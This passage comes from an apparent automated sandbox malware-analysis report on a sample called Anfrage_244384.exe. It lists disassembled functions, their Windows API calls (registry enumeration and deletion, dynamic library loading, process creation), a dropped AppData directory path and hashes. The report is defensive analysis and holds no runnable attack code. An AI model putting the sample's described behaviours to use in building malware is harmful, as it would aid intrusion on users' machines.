                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateValuelstrlen
                                                          • String ID: C:\Users\user\AppData\Local\Temp\nsw3989.tmp
                                                          • API String ID: 1356686001-3944808659
                                                          • Opcode ID: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                          • Instruction ID: 78945337bfecb372f974009004526856e4df2419c5d7c36b02de55c30b310c87
                                                          • Opcode Fuzzy Hash: 16c11ee55e493c1f4cb55922a7a265c15d1edf48fbcc260bb9481044d91f603c
                                                          • Instruction Fuzzy Hash: 842162B1E00208BEEB10EFA4DE49EAF7678EB54358F20403AF545B61D0C6B94D419B68
                                                          Function 00405A65 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 794 405a65-405a6f 795 405a70-405a9b GetTickCount GetTempFileNameA 794->795 796 405aaa-405aac 795->796 797 405a9d-405a9f 795->797 799 405aa4-405aa7 796->799 797->795 798 405aa1 797->798 798->799
                                                          APIs
                                                          • GetTickCount.KERNEL32 ref: 00405A79
                                                          • GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A93
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405A68
                                                          • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 00405A65
                                                          • nsa, xrefs: 00405A70
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CountFileNameTempTick
                                                          • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$C:\Users\user\AppData\Local\Temp\$nsa
                                                          • API String ID: 1716503409-2605950989
                                                          • Opcode ID: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                          • Instruction ID: 72edad6ec601b3e5bedbe0a956b09e0e85e9d1f351c5a8d1d7ddacf5062ef271
                                                          • Opcode Fuzzy Hash: 245b3c25697a366b20d072f4ae6f3df15c900acea65bebff5d6a318f0eee9b10
                                                          • Instruction Fuzzy Hash: DBF082363046187BDB108F55ED44B9B7B9CDFA1760F10803BFA44DA180D6B599548B58
                                                          Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 800 402b0e-402b37 RegOpenKeyExA 801 402ba2-402ba6 800->801 802 402b39-402b44 800->802 803 402b5f-402b6f RegEnumKeyA 802->803 804 402b71-402b83 RegCloseKey call 40615c 803->804 805 402b46-402b49 803->805 813 402b85-402b94 804->813 814 402ba9-402baf 804->814 807 402b96-402b99 RegCloseKey 805->807 808 402b4b-402b5d call 402b0e 805->808 811 402b9f-402ba1 807->811 808->803 808->804 811->801 813->801 814->811 815 402bb1-402bbf RegDeleteKeyA 814->815 815->811 817 402bc1 815->817 817->801
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402B2F
                                                          • RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
                                                          • RegCloseKey.ADVAPI32(?), ref: 00402B74
                                                          • RegCloseKey.ADVAPI32(?), ref: 00402B99
                                                          • RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Close$DeleteEnumOpen
                                                          • String ID:
                                                          • API String ID: 1912718029-0
                                                          • Opcode ID: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                          • Instruction ID: 01bd3f518095735bd7fc58530e3e97865138d1262df332b424d450b53e5153fe
                                                          • Opcode Fuzzy Hash: ce3d45171df20cd5368556db4e0df27da4ec55921f16075ab1a00bf066d588a4
                                                          • Instruction Fuzzy Hash: 83117F31500108FFDF11AF90DE89EAB3B7DFB14345B00403AF905B11A0D7B8AE55AB68
                                                          Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 818 100016bd-100016f9 call 10001a5d 822 1000180a-1000180c 818->822 823 100016ff-10001703 818->823 824 10001705-1000170b call 100021b0 823->824 825 1000170c-10001719 call 100021fa 823->825 824->825 830 10001749-10001750 825->830 831 1000171b-10001720 825->831 832 10001770-10001774 830->832 833 10001752-1000176e call 100023da call 10001559 call 10001266 GlobalFree 830->833 834 10001722-10001723 831->834 835 1000173b-1000173e 831->835 839 100017b2-100017b8 call 100023da 832->839 840 10001776-100017b0 call 10001559 call 100023da 832->840 856 100017b9-100017bd 833->856 837 10001725-10001726 834->837 838 1000172b-1000172c call 100027e8 834->838 835->830 841 10001740-10001741 call 10002aa3 835->841 845 10001733-10001739 call 10002589 837->845 846 10001728-10001729 837->846 852 10001731 838->852 839->856 840->856 849 10001746 841->849 855 10001748 845->855 846->830 846->838 849->855 852->849 855->830 861 100017fa-10001801 856->861 862 100017bf-100017cd call 100023a0 856->862 861->822 864 10001803-10001804 GlobalFree 861->864 868 100017e5-100017ec 862->868 869 100017cf-100017d2 862->869 864->822 868->861 871 100017ee-100017f9 call 100014e2 868->871 869->868 870 100017d4-100017dc 869->870 870->868 872 100017de-100017df FreeLibrary 870->872 871->861 872->868
                                                          APIs
                                                            • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC4
                                                            • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CC9
                                                            • Part of subcall function 10001A5D: GlobalFree.KERNEL32(?), ref: 10001CCE
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001768
                                                          • FreeLibrary.KERNEL32(?), ref: 100017DF
                                                          • GlobalFree.KERNEL32(00000000), ref: 10001804
                                                            • Part of subcall function 100021B0: GlobalAlloc.KERNEL32(00000040,7D8BEC45), ref: 100021E2
                                                            • Part of subcall function 10002589: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001739,00000000), ref: 100025FB
                                                            • Part of subcall function 10001559: lstrcpyA.KERNEL32(00000000,?,00000000,10001695,00000000), ref: 10001572
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2561947930.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.2561930247.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562006314.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.2562021245.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Global$Free$Alloc$Librarylstrcpy
                                                          • String ID:
                                                          • API String ID: 1791698881-3916222277
                                                          • Opcode ID: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                          • Instruction ID: 7bd52774c71d274dd6e07030a7ef65efb9a892d3f5f2eddd47f658e3267813e4
                                                          • Opcode Fuzzy Hash: ee4c9fc9ebc314f30cf8369a5322713cb2bdaef71cd7754c4cd252d6b1501433
                                                          • Instruction Fuzzy Hash: B5319C79408205DAFB41DF649CC5BCA37ECFF042D5F018465FA0A9A09EDF78A8858B60
                                                          Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 0040202A
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                            • Part of subcall function 00404FDC: lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                            • Part of subcall function 00404FDC: lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,759223A0), ref: 00405038
                                                            • Part of subcall function 00404FDC: SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                            • Part of subcall function 00404FDC: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                          • LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040203A
                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
                                                          • FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                          • String ID:
                                                          • API String ID: 2987980305-0
                                                          • Opcode ID: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                          • Instruction ID: b783eae22080e2a76f4456b755c5680fa053b08e058d045f217a77597ec219f0
                                                          • Opcode Fuzzy Hash: 180a3081fb3f78eb91f00a12e3d21899e8b163c30cc106c56dc37463dfcc7d01
                                                          • Instruction Fuzzy Hash: 0F21C971A00225E7DB307FA48F49A5E7A746B44354F24413BF701B22D1DBBE4A42D66E
                                                          Function 004015BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004058CE: CharNextA.USER32(?,?,0042BC70,?,0040593A,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004058DC
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058E1
                                                            • Part of subcall function 004058CE: CharNextA.USER32(00000000), ref: 004058F5
                                                          • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D
                                                            • Part of subcall function 004054A2: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054E5
                                                          • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes,00000000,00000000,000000F0), ref: 0040163C
                                                          Strings
                                                          • C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes, xrefs: 00401631
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                          • String ID: C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes
                                                          • API String ID: 1892508949-3680780964
                                                          • Opcode ID: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                          • Instruction ID: 816b54ed5d655ae39ec9af7653b37b3cb045aad08be9d120fc9ab2aeee17589e
                                                          • Opcode Fuzzy Hash: 41430e8041f5b825a25f6f7f5196f7741ab1efb3ce46360c30da8e6aa749b7db
                                                          • Instruction Fuzzy Hash: 4A110431608142EBDB317BB54D409BF2AB0DE96324B28493FE4D1B22E2D63D4942663E
                                                          Function 00404F50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsWindowVisible.USER32(?), ref: 00404F7F
                                                          • CallWindowProcA.USER32(?,?,?,?), ref: 00404FD0
                                                            • Part of subcall function 00403FF4: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00404006
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Window$CallMessageProcSendVisible
                                                          • String ID:
                                                          • API String ID: 3748168415-3916222277
                                                          • Opcode ID: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                          • Instruction ID: 957b128ff8c1be49c7c43d2eec533a56ef4d4953328fce41794b465c1d4f4089
                                                          • Opcode Fuzzy Hash: 08716edfc016174e1d95566f9c20dbce6f1779ae15c64c490cb603040d3fbc74
                                                          • Instruction Fuzzy Hash: C80184B160020AAFDF20AF51DD80A5B3B66EBC4755F15413BFF00751D1C77D8C62966A
                                                          Function 00405554 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042C070,Error launching installer), ref: 0040557D
                                                          • CloseHandle.KERNEL32(?), ref: 0040558A
                                                          Strings
                                                          • Error launching installer, xrefs: 00405567
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateHandleProcess
                                                          • String ID: Error launching installer
                                                          • API String ID: 3712363035-66219284
                                                          • Opcode ID: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                          • Instruction ID: 7a3dc1fb8a2ad91d62cd378edef27adb0088bf0f4d8ddc25e60ef95d811c5913
                                                          • Opcode Fuzzy Hash: 4fc3f2634484a51afe99368b6ee5adae76d461d8ba1d0850051e12a9b99b56ab
                                                          • Instruction Fuzzy Hash: 1AE04FB0600209BFEB109FA0ED45F7F77ACE700208F408531BD00F2150D77499088A7C
                                                          Function 004024F5 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          • RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402527
                                                          • RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 0040253A
                                                          • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw3989.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Enum$CloseOpenValue
                                                          • String ID:
                                                          • API String ID: 167947723-0
                                                          • Opcode ID: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                          • Instruction ID: 2b577d6a6ed12fdd73b92825448b087f6304f6a5da561ecb1c8b28b09130acc9
                                                          • Opcode Fuzzy Hash: 8c59f9b8c0256cbe9bd71fe7ee3f101d5ae56516e7ddf643f02568347a4a43af
                                                          • Instruction Fuzzy Hash: EC01DF71A00201EFE7119F65AE88ABF7A7CDF40394F20003FF045A61C0D6B84A459669
                                                          Function 00405CAA Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(80000002,00405EEF,00000000,00000002,?,00000002,?,?,00405EEF,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405CD3
                                                          • RegQueryValueExA.KERNELBASE(?,?,00000000,00405EEF,?,00405EEF), ref: 00405CF4
                                                          • RegCloseKey.ADVAPI32(?), ref: 00405D15
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID:
                                                          • API String ID: 3677997916-0
                                                          • Opcode ID: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                          • Instruction ID: fa75aaf4fea41e3e7414327fe65dbec21031f90634d69430c1a7616152fbf627
                                                          • Opcode Fuzzy Hash: 736db648b4ac55722d45c6321a86d011e73f53958cb133121ff9030ed915e9ad
                                                          • Instruction Fuzzy Hash: 35015E7114020AEFDF118F64ED48EDB7FACEF14354F00403AF94596160D235D964CBA5
                                                          Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          • RegQueryValueExA.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B3
                                                          • RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw3989.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID:
                                                          • API String ID: 3677997916-0
                                                          • Opcode ID: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                          • Instruction ID: e91595cf43b51ebfb07aaa5ef395d3110d573e6c70d377c823b3106e64d9cd55
                                                          • Opcode Fuzzy Hash: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                          • Instruction Fuzzy Hash: 9611E371A00205EFDB20CF60CA985AEBBB4AF10359F20443FE042B72C0D2B88A85DB19
                                                          Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                          • SendMessageA.USER32(?,00000402,00000000), ref: 004013F4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID:
                                                          • API String ID: 3850602802-0
                                                          • Opcode ID: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                          • Instruction ID: 86e07a789f87ce41f875dd809bfef8a2c44af10f02abad90d5e7e67c6ed0449b
                                                          • Opcode Fuzzy Hash: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                          • Instruction Fuzzy Hash: 6C01F4317242109BE7199B399D04B6A3698E710719F54823FF852F61F1D678DC038B4C
                                                          Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005B0,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          • RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402396
                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0040239F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
